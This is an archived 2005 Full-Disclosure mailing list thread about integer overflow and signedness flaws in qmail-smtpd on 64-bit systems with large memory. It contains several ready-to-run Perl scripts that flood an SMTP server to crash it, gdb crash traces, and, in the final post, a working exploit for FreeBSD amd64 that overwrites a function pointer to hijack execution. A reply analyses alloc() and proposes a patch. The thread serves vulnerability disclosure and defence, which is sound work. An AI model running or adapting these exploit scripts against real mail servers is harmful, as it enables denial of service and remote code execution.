Discussion:
64 bit qmail fun
(too old to reply)
Georgi Guninski
2005-05-06 13:01:07 UTC
Permalink
Georgi Guninski security advisory #74, 2005

64 bit qmail fun

Systems affected:
qmail on 64 bit platforms with a lot of virtual memory ( ~ >8GB)

Date: 6 May 2005

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

there are several issues with qmail on 64 bit platforms - classical integer
overflow, pointer with signed index and signedness problem (not counting
the memory consumtion dos, which just helps).

Details:

note:
- you need more than 4GB memory per process for this.
- gdb line numbers may not match because of small changes in qmail src
- tested on athlon64 8400+ with linux

1. integer overflow in stralloc_readyplus
./qmlong-pub.pl

Program received signal SIGSEGV, Segmentation fault.
0x000000000040602a in byte_copy (
to=0x2ab165441000 <Address 0x2ab165441000 out of bounds>, n=3791142275,
from=0x2ab23ad04001 'v' <repeats 200 times>...) at byte_copy.c:9
9 if (!n) return; *to++ = *from++; --n;
(gdb) info stack
#0 0x000000000040602a in byte_copy (
to=0x2ab165441000 <Address 0x2ab165441000 out of bounds>, n=3791142275,
from=0x2ab23ad04001 'v' <repeats 200 times>...) at byte_copy.c:9
#1 0x00000000004054e3 in alloc_re (x=0x508ce0, m=4030573939, n=239428416)
at alloc_re.c:13
#2 0x0000000000405133 in stralloc_readyplus (x=0x508ce0, n=4030573940)
at stralloc_eady.c:6
#3 0x00000000004020d5 in commands (ss=0x508980, c=0x5089a0) at commands.c:20
#4 0x0000000000401e12 in main () at qmail-smtpd.c:419
(gdb)
(gdb) x/i $rip
0x40602a <byte_copy+38>: mov %dl,(%rax)
(gdb) p/x $rax
$1 = 0x2ab165441000
(gdb)


2. pointer + signed int in commands.c
int i;
...
i = str_chr(cmd.s,' ');
...
cmd.s[i] = 0;

./qmlong-0-pub.pl


Program received signal SIGSEGV, Segmentation fault.
0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39
39 while (*arg == ' ') ++arg;
(gdb) p/x arg
$1 = 0x2aaee056d014
(gdb) p i
$2 = -2048917500
(gdb) info stack
#0 0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39
#1 0x0000000000401e12 in main () at qmail-smtpd.c:419
(gdb)



3. sign problem in qmail_put/substdio_put
./qmrcptto-pub.pl

Program received signal SIGSEGV, Segmentation fault.
0x000000000040604a in byte_copy (to=0x52c000 <Address 0x52c000 out of bounds>,
n=2149893743, from=0x2aaf0b1bdb36 'v' <repeats 200 times>...)
at byte_copy.c:10
10 if (!n) return; *to++ = *from++; --n;
(gdb) info stack
#0 0x000000000040604a in byte_copy (
to=0x52c000 <Address 0x52c000 out of bounds>, n=2149893743,
from=0x2aaf0b1bdb36 'v' <repeats 200 times>...) at byte_copy.c:10
#1 0x0000000000405a72 in substdio_put (s=0x50a4b8,
buf=0x2aaf0b19c010 "T", 'v' <repeats 199 times>..., len=-2144935532)
at substdo.c:75
#2 0x0000000000403eda in qmail_put (qq=0x50a4a0,
s=0x2aaf0b19c010 "T", 'v' <repeats 199 times>..., len=-2144935532)
at qmail.c:55
#3 0x0000000000401cdd in smtp_data () at qmail-smtpd.c:386
#4 0x0000000000402297 in commands (ss=0x508980, c=0x5089a0) at commands.c:43
#5 0x0000000000401e12 in main () at qmail-smtpd.c:419

------
qmlong-pub.pl

#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
}

------

------
qmlong-0-pub.pl
#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
print $sock "HELO";
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == 2142) {last;}
}
print $sock " \r\n";

while(<$sock>) {print $_;}

------

-----
qmrcptto-pub.pl
#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
my $t;

print $sock "HELO a\r\n";
print $sock "MAIL FROM: a\r\n";

my $leg = 842;

$payload = "v" x $leg;
$cou=0;
my $vp= "v" x (1024*1024);

my $wri = 0;

while (42)
{
print $sock "RCPT TO: ${payload}\r\n";
$t=<$sock>;
$cou++;
$wri += ($leg + 1);
if ($wri > 0x80000010) {last;}
if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";}
}

print $sock "DATA\r\n";
print $sock "where do you want bill gates to go today?\r\n";
print $sock ".\r\n";

while(<$sock>)
{
print $_;
}
-----
--
where do you want bill gates to go today?

**
everything below is junk

















_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Lars Olsson
2005-05-06 00:30:32 UTC
Permalink
Post by Georgi Guninski
Georgi Guninski security advisory #74, 2005
64 bit qmail fun
qmail on 64 bit platforms with a lot of virtual memory ( ~ >8GB)
Date: 6 May 2005
[snip]


Hehe...darn, you beat me to it...I've been sitting on this for some
time now...

I noticed the problem with the heap-allocation wrapper alloc() in alloc.c
(also affects djbdns BTW although I haven't found a way to trigger for
it):

static aligned realspace[SPACE / ALIGNMENT];
#define space ((char *) realspace)
static unsigned int avail = SPACE; /* multiple of ALIGNMENT;
0<=avail<=SPACE */

/*@null@*//*@out@*/char *alloc(n)
unsigned int n;
{
char *x;
n = ALIGNMENT + n - (n & (ALIGNMENT - 1)); /* XXX: could overflow */
^^^^^^^^^^^^^^^^^^^
if (n <= avail) { avail -= n; return space + avail; }
x = malloc(n);
if (!x) errno = error_nomem;
return x;
}

Notice the XXX? :)

If n > 0xfffffff0 the alignment adjustment will truncate n to 0
which means the pointer returned will be to the static realspace buffer.
This step does not require a 64-bit architecture!

However, the only way I've found so far to trigger the integer overflow is
via the stralloc_* routines used in a manner that grows the buffer one
byte at a time, for instance in qmail-smtpd.c commands() loop (function
pointer is placed after realspace on my test compilations BTW).
Hence 64-bit arch with lots of mem is necessary in this case. I don't
think it's possible to break out of the byte_copy routine though
unfortunately (or fortunately, depending on which side of the fence
you're on.)

There are usually checks for excessive lenghts before the other
alloc-routines that specifies length explicitly (and without copying),
especially in djbdns since DNS packets only are 2^16 bytes max (or some
such, I forget.)

It might well be that qmail and djbdns are immune to exploits, but it
is a good idea to patch alloc() in alloc.c anyway, for instance like:

if (n >= 0xfffffff0) {
errno = error_nomem;
return NULL;
}

(Crude and for more general operations should be rewritten to allow larger
allocations, but for qmail and djbns it should be good enough since
hopefulyl one doesn't need that much memory to run them efficiently...)

Don't have time to write more now...apologize if I screwed something up in
my extreme hurry...


Cheers,
Lars
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Georgi Guninski
2005-05-09 13:17:34 UTC
Permalink
Post by Georgi Guninski
http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
3. sign problem in qmail_put/substdio_put
on
FreeBSD amdkotef64.localdomain 5.3-BETA6 FreeBSD 5.3-BETA6 #0: Sat Sep 25
21:49:38 UTC 2004 ***@fanboy.samsco.home:/usr/obj/usr/src/sys/GENERIC
amd64

the static/heap layout is "better" than linux, so
bytecopy(negative) passes and a lot of memory is corrupted:

0x400000 0x408000 8 0 0xffffff0047c857e0 r-x 1 0 0x2180 COW NNC vnode
/var/qmail/bin/qmail-smtpd
0x507000 0x508000 1 0 0xffffff00471e0380 rw- 1 0 0x2180 COW NNC vnode
/var/qmail/bin/qmail-smtpd
0x508000 0x50b000 3 0 0xffffff005b5d6c40 rw- 2 0 0x2180 NCOW NNC swap -
0x50b000 0x1778df000 338914 0 0xffffff005b5d6c40 rwx 2 0 0x2180 NCOW NNC swap
-
0x200507000 0x200529000 17 0 0xffffff005d2a6700 r-x 59 28 0x4 COW NC vnode
/libexec/ld-elf.so.1

note memory is contiguous.

Program received signal SIGBUS, Bus error.
0x000000020069afb6 in ldexp () from /lib/libc.so.5
(gdb) info stack
#0 0x000000020069afb6 in ldexp () from /lib/libc.so.5
#1 0x000000020069b07c in ldexp () from /lib/libc.so.5
#2 0x000000020069b2eb in ldexp () from /lib/libc.so.5
#3 0x000000020069bc6d in ldexp () from /lib/libc.so.5
#4 0x000000020069bd58 in malloc () from /lib/libc.so.5
#5 0x00000000004058aa in alloc (n=1040) at alloc.c:20
#6 0x000000000040592f in alloc_re (x=0x508e20, m=896, n=1039) at
alloc_re.c:11
#7 0x0000000000405580 in stralloc_readyplus (x=0x508e20, n=897)
at stralloc_eady.c:6
#8 0x00000000004023a8 in commands (ss=0x507640, c=0x507660) at commands.c:20
#9 0x00000000004020e1 in main () at qmail-smtpd.c:419


(gdb) x/i $rip
0x20069afb6 <ldexp+1654>: movq $0x2,(%rax,%rsi,8)
(gdb) p/x $rax
$7 = 0x200837000
(gdb) p/x $rsi
$8 = 0x7676767676268

0x50b360: 0x76767676 0x76767676 0x54007676 0x76767676

probably after substdio is corrupted even more fun is possible.


---------------------------------------------------------------
#!/usr/bin/perl -w

# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $lo2 = "v" x (1024*1024);

my $i=0;
my $t;

print $sock "HELO a\r\n";
print $sock "MAIL FROM: a\r\n";

my $leg = 842;

$payload = "v" x $leg;
$cou=0;
my $vp= "v" x (1024*1024);

my $wri = 0;

while (42)
{
print $sock "RCPT TO: ${payload}\r\n";
$t=<$sock>;
$cou++;
$wri += ($leg + 2);
if ($wri > 0x80000010) {last;}
if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";}
}



print $sock "DATA\r\n";
print $sock "where do you want bill gates to go today?\r\n";
print $sock ".\r\n";

while (42)
{
print $sock "${lo2}";
}

while(<$sock>)
{
print $_;
}
---------------------------------------------------------------
--
where do you want bill gates to go today?






































_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Georgi Guninski
2005-05-15 12:48:49 UTC
Permalink
Post by Georgi Guninski
2. pointer + signed int in commands.c
int i;
...
i = str_chr(cmd.s,' ');
...
cmd.s[i] = 0;
problem #2 is exploitable at least on freebsd 5.4 amd64 with a lot of
virtual memory.

original djb's qmail was compiled with debug info, no optimizations and not
stripped.

Breakpoint 1, commands (ss=0x507520, c=0x507540) at commands.c:34
34 cmd.s[i] = 0;
(gdb) p cmd
$12 = {s = 0x4b507000 'Ь' <repeats 200 times>..., len = 3036683527,
^^^^^^^^^^
a = 3184650962}
(gdb) p i
$13 = -1258283773
(gdb) p &cmd.s[i]
$14 = 0x508d03 "K"
(gdb) next
36 for (i = 0;c[i].text;++i) if (case_equals(c[i].text,cmd.s)) break;
(gdb) p cmd
$15 = {s = 0x507000 " server failed (#4.4.2)", len = 3036683527,
^^^^^^^^^^^^^
a = 3184650962}
(gdb) p &ssout
$16 = (substdio *) 0x507500
(gdb) p &ssout.op
$17 = (int (**)()) 0x507518
(gdb) cont


Program received signal SIGTRAP, Trace/breakpoint trap.
0x000000000050cbac in ?? ()
(gdb) x/i $rip
0x50cbac: int3
(gdb) p ssout
$18 = {
x = 0x102030405060708 <Error reading address 0x102030405060708: Bad address>, p = 0, n = 32, fd = 2, op = 0x50cbab}
(gdb) info stack
#0 0x000000000050cbac in ?? ()
#1 0x0000000000405bce in allwrite (op=0x50cbab, fd=2,
buf=0x102030405060708 <Error reading address 0x102030405060708: Bad address>, len=16) at substdo.c:15
#2 0x0000000000405c63 in substdio_flush (s=0x507500) at substdo.c:35
#3 0x0000000000405d6e in substdio_put (s=0x507500,
buf=0x406988 "502 unimplemented (#5.5.1)\r\n", len=28) at substdo.c:64
#4 0x0000000000405efc in substdio_puts (s=0x507500,
buf=0x406988 "502 unimplemented (#5.5.1)\r\n") at substdo.c:100
#5 0x0000000000400daf in out (s=0x406988 "502 unimplemented (#5.5.1)\r\n")
at qmail-smtpd.c:43
#6 0x0000000000400f13 in err_unimpl () at qmail-smtpd.c:54

(gdb) x/i helohost.s
0x50c000: int3
(gdb) p &cmd
$19 = (stralloc *) 0x508d00

qmlong-pubvvv5.pl - run on freebsd 5.4 amd64

------------------------
#!/usr/bin/perl -w

# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


#my $sock;
#open ($sock, '+>',"/dev/null") || die("open");

##my $wriaddr = 0xb5bfa660 - 0x140;
my $wriaddr = 0xb5001e43 - 0x140;


my $wrimeg = int($wriaddr/(1024*1024)) ;
my $wrioff = $wriaddr % (1024*1024) ;

my $headdr = 0x42aa6000;
my $heameg = int($headdr/(1024*1024));
my $heaoff = $headdr % (1024*1024);

print $wrimeg . " " . $wrioff;


my $payload="\xcc" x (1024*1024);
my $i=0;
print $sock "HELO ";
while(42)
{
print $sock $payload;
$i++;

print "${i}\n";
if ($i == $heameg) {last;}
}
print $sock "v" x $heaoff;
print $sock "\r\n";
print "\nHELO sent\n";

$i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == $wrimeg) {last;}
}

my $zer1 = "v" x $wrioff . " vvv\r\n";
print $zer1;
print $sock $zer1;
print "\nspace/zero sent\n";
$i=0;




my $vvover= "AB" . ("v" x (0x500-2));

$vvover .= pack("Q",0x0102030405060708); #x
$vvover .= pack("I",0x10);
$vvover .= pack("I",0x20);
$vvover .= pack("I",0x2);
$vvover .= pack("I",0x42);
$vvover .= pack("Q",0x50cbab); #op

$vvover .= "\x21" . "\n" x 100;
## ^^^ ssin.x + 1
print $sock $vvover;



print "\nprobably done\n";
while(42) {};
--
where do you want bill gates to go today?
















** junk

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Loading...